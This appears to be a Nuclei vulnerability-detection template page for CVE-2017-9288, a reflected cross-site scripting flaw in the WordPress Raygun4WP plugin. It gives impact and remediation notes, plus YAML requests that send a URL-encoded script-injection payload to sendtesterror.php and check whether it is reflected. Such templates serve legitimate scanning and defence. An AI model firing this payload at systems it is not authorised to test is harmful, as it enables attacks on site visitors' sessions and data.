WordPress Raygun4WP <=1.8.0 - Cross-Site Scripting

ID: CVE-2017-9288

Severity: medium

Author: daffainfo

Tags: cve2017,cve,wordpress,xss,wp-plugin,raygun

Description

WordPress Raygun4WP 1.8.0 contains a reflected cross-site scripting vulnerability via sendtesterror.php.

YAML Source

id: CVE-2017-9288

info:
  name: WordPress Raygun4WP <=1.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Raygun4WP 1.8.0 contains a reflected cross-site scripting vulnerability via sendtesterror.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Raygun4WP plugin (1.8.0 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/MindscapeHQ/raygun4wordpress/pull/17
    - https://github.com/MindscapeHQ/raygun4wordpress/issues/16
    - http://jgj212.blogspot.kr/2017/05/a-reflected-xss-vulnerability-in.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9288
    - https://wpvulndb.com/vulnerabilities/8836
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9288
    cwe-id: CWE-79
    epss-score: 0.00168
    epss-percentile: 0.53673
    cpe: cpe:2.3:a:raygun:raygun4wp:1.8.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: raygun
    product: raygun4wp
    framework: wordpress
  tags: cve2017,cve,wordpress,xss,wp-plugin,raygun
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/raygun4wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Raygun4WP'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-9288.yaml"

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